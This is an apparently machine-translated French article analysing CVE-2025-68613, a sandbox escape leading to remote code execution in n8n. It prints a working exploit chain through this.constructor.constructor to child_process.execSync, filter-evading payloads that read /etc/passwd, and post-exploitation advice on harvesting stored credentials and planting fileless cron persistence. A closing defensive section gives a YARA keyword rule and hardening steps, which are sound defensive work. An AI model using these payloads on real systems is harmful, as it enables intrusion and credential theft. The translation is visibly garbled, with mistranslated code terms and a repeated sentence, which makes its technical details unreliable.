Dans le paysage sécuritaire qui se dessine pour 2025, la divulgation d'informations sur la santé et la sécurité des personnes et des biens est essentielle. CVE-2025-68613 (CVSS 10.0) a frappé l'industrie avec la force d'une arme cinétique. En tant qu'outil d'automatisation de flux de travail open-source le plus populaire au monde, le CVSS 10.0 a frappé l'industrie avec une force d'arme cinétique, n8n est à la base de la logique commerciale d'innombrables entreprises. Pourtant, cette vulnérabilité, qui permet à des attaquants non authentifiés (ou disposant de faibles privilèges) d'exécuter un code arbitraire, a mis en évidence le talon d'Achille architectural des plateformes modernes "Low-Code/No-Code".
Pour les ingénieurs en sécurité chevronnés et les chercheurs de la Red Team, CVE-2025-68613 est bien plus qu'un "échec de validation". Il s'agit d'un cas d'école de l'exploitation combinée de la technologie Node.js Dynamic Runtime, Défaillance du modèle de capacité des objetset Prototype de pollution.
Cet article abandonne les rapports superficiels sur les vulnérabilités pour se plonger dans les rouages du moteur V8, déconstruire chaque octet de l'évasion du bac à sable et fournir un manuel complet de détection et de défense à l'intention des équipes bleues des entreprises.

Déconstruction de la surface d'attaque
La proposition de valeur centrale de n8n est la "connectivité". Il relie des bases de données, des services SaaS et des API internes par le biais de milliers de nœuds d'intégration. Pour permettre un traitement dynamique des données, n8n permet aux utilisateurs d'intégrer des expressions JavaScript à l'intérieur des nœuds, généralement enveloppées dans une interface de type {{ }} syntaxe.
Avant l'apparition de la CVE-2025-68613, n8n s'appuyait sur la version native de Node.js vm pour isoler ce code fourni par l'utilisateur.
Pourquoi Node.js vm?
Le système Node.js vm permet de compiler et d'exécuter du code dans le contexte de la machine virtuelle V8. Il fournit un objet global isolé (Contextified Sandbox).
- Idéalement : Le code ne peut pas accéder aux variables en dehors du bac à sable.
- La réalité : Les
vmLe module est largement reconnu dans la communauté de la sécurité comme le "module de sécurité".Brisé de par sa conception.”
Analyse de la surface d'attaque :
- Points d'entrée : Tout nœud acceptant l'entrée d'une expression (par ex,
Set (jeu de mots),Fonction,Demande HTTPnœuds). - Flux d'exécution : Entrée utilisateur -> Analyse de la chaîne ->
vm.runInNewContext()-> Exécution. - Le défaut : Tant qu'un objet à l'intérieur du bac à sable fait référence à un objet externe (par exemple, en transmettant des variables d'environnement de l'hôte par l'intermédiaire de la fonction
cette), un attaquant peut tirer parti de la fonction Prototype Chaîne d'escalade pour s'échapper du bac à sable.
Approfondissement technique - De la chaîne de prototypes au RCE
Pour comprendre la logique de l'exploit de CVE-2025-68613, il faut comprendre la logique de l'exploit de CVE-2025-68613. constructeur en JavaScript.
Presque tous les objets en JavaScript ont une fonction constructeur pointant vers la fonction qui l'a créé.
({}).constructor===ObjetObject.constructor===Fonction
Le cœur de la logique d'évasion : this.constructor.constructor
Dans l'environnement restreint de n8n, un attaquant ne peut pas appeler directement require('child_process'). Cependant, l'attaquant possède le contexte d'exécution actuel : cette.
- Hop 1 :
cetteest l'objet contextuel à l'intérieur du bac à sable. - Hop 2 :
this.constructorest leObjetà l'intérieur du bac à sable. - Hop 3 (critique) :
this.constructor.constructorse résout à la L'hôteFonctionconstructeur.
Pourquoi cela constitue-t-il une violation du bac à sable ? Parce que le moteur V8, lorsqu'il gère les interactions entre les objets d'un même contexte, résout la chaîne de construction en fonction de la définition externe si l'objet racine provient de l'extérieur.
Une fois que l'attaquant a obtenu le numéro de téléphone de l'hôte, le Fonction ils peuvent générer dynamiquement une fonction anonyme qui s'exécute dans l'élément Contexte de l'hôte. Cette fonction anonyme n'est pas soumise aux restrictions du bac à sable et peut accéder à la base de données globale de la processus objet.
La primitive d'exploitation complète
La charge utile construite par l'attaquant n'est pas une simple chaîne de caractères, mais un morceau précis de code JavaScript conçu pour reconstruire le système de chargement de modules Node.js.
JavaScript
`// Phase 1 : Acquérir le constructeur de la fonction de l'environnement hôte const ForeignFunction = this.constructor.constructor ;
// Phase 2 : créer dynamiquement une fonction qui renvoie l'objet "process" // Ce code s'exécute dans le contexte de l'hôte, sans passer par le bac à sable const getProcess = ForeignFunction('return process') ;
// Phase 3 : Exécuter la fonction pour obtenir la poignée du processus const proc = getProcess() ;
// Phase 4 : Accès au module principal pour obtenir la poignée 'require' const require = proc.mainModule.require ;
// Phase 5 : Chargement de 'child_process' et exécution des commandes système const result = require('child_process').execSync('id').toString();`
Dans un n8n {{ }} Cette logique est comprimée dans une injection d'une ligne mortelle.
Combat & Obfuscation - Contourner les filtres statiques
Dans les premières tentatives de défense contre CVE-2025-68613, certains correctifs temporaires ont essayé de filtrer des mots-clés comme process, constructor, ou require en utilisant des expressions rationnelles.
Cependant, pour un langage hautement dynamique comme JavaScript, le filtrage statique est futile.
Variante d'obscurcissement A : Concaténation de chaînes et codage
Les attaquants tirent parti de la souplesse de JavaScript pour diviser ou encoder les mots-clés, contournant ainsi la détection des signatures.
JavaScript
{{ // Contournement de la détection du "constructeur" this['con'+'structor']['con'+'structor']( // Contournement de la détection du "processus de retour" 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}
Variante d'obscurcissement B : Reflect & Proxy
Les attaquants avancés utilisent Reflect.get pour accéder dynamiquement aux propriétés, ce qui rend l'analyse de l'arbre syntaxique abstrait (AST) difficile pour retracer la chaîne d'appels.
JavaScript
{{ // Utilisation de Reflect pour trouver dynamiquement la clé du constructeur const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')) ; // Procéder à l'exécution... }}
Cela démontre qu'une simple correspondance d'expressions rationnelles ne peut pas résoudre le problème CVE-2025-68613. Contraintes liées à la capacité des objets.
Post-exploitation - Pourquoi n8n est la tête de pont parfaite
Compromettre le serveur n8n (obtenir un Shell) n'est qu'un début. Dans la chaîne d'exécution d'une APT (Advanced Persistent Threat), le serveur n8n a une valeur stratégique unique.
Récolte de titres de compétences
La base de données n8n (généralement SQLite ou PostgreSQL) stocke les informations d'identification de tous les services connectés. Lorsqu'elle est chiffrée, un attaquant disposant d'un RCE peut lire la clé de chiffrement (généralement dans des variables d'environnement ou des fichiers de configuration), ce qui permet de la déchiffrer :
- Clés d'utilisateur AWS IAM
- Clés API Stripe / PayPal
- Chaînes de connexion à la base de données de l'entreprise
- Tokens pour le bot Slack / Discord
Mouvement latéral
Les serveurs n8n sont généralement déployés au cœur de l'intranet et autorisés à accéder à diverses API internes. Les attaquants peuvent utiliser n8n comme un Proxy SOCKSou modifier directement les nœuds de requête HTTP existants pour envoyer des requêtes à d'autres services internes (comme Jenkins, GitLab), ce qui permet d'analyser efficacement les actifs internes.
Persistance
Les binaires de logiciels malveillants traditionnels sont analysés par les solutions EDR. Mais si un attaquant crée un flux de travail "Cron" dans n8n qui s'exécute toutes les 5 minutes et exécute un JavaScript malveillant, cette porte dérobée est Sans fichier. Il se fond entièrement dans la logique normale de l'entreprise, ce qui le rend extrêmement difficile à détecter.
Manuel de l'équipe bleue - Détection et défense
Pour les équipes de sécurité d'entreprise (Blue Teams), il ne suffit pas d'appliquer le correctif officiel pour faire face à la CVE-2025-68613.
Détection des signatures de trafic (SIEM/IDS)
Surveiller les corps de requête HTTP contenant {{ qui comprennent également des mots-clés tels que constructeur, processus, exécuterou frayer.
Exemple de règle YARA :
rule DETECT_N8N_RCE_ATTEMPT { meta : description = "Détecte les tentatives d'injection d'expression ciblant n8n (CVE-2025-68613)" severity = "Critical" strings : $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" condition : $expr_start et (2 of ($keyword*)) }
Audit des journaux
Auditer les journaux d'exécution du n8n pour détecter les anomalies. ERREUR les messages, en particulier les enregistrements contenant Accès refusé à la variable globale ou ReferenceError : le processus n'est pas défini. Cela indique souvent qu'un attaquant sonde les limites du bac à sable.
Durcissement architectural
- Isolation Docker : Exécutez les conteneurs n8n avec
-cap-drop=ALLpour supprimer toutes les capacités Linux inutiles. - Contrôle du trafic de sortie : Configurer les stratégies de réseau pour interdire au conteneur n8n d'initier des connexions vers des IP publiques non inscrites sur la liste blanche, bloquant ainsi les shells inversés de se connecter aux serveurs C2.
Conclusion : Un tournant pour la sécurité des codes faibles
CVE-2025-68613 représente un tournant dans l'histoire de la sécurité des plateformes Low-Code/No-Code. Il nous rappelle que La flexibilité et la sécurité sont souvent un jeu à somme nulle.
Lorsque nous accordons toute la puissance d'un langage de programmation (comme les expressions JavaScript) à des utilisateurs ordinaires, nous invitons effectivement les attaquants à pénétrer dans notre environnement d'exécution. Les futures défenses de sécurité ne peuvent plus s'appuyer sur des bacs à sable fragiles au niveau de l'application, mais doivent s'orienter vers les éléments suivants La sécurité dès la conception comme l'utilisation de WebAssembly (Wasm) pour une véritable isolation de la mémoire de l'exécution du code utilisateur.

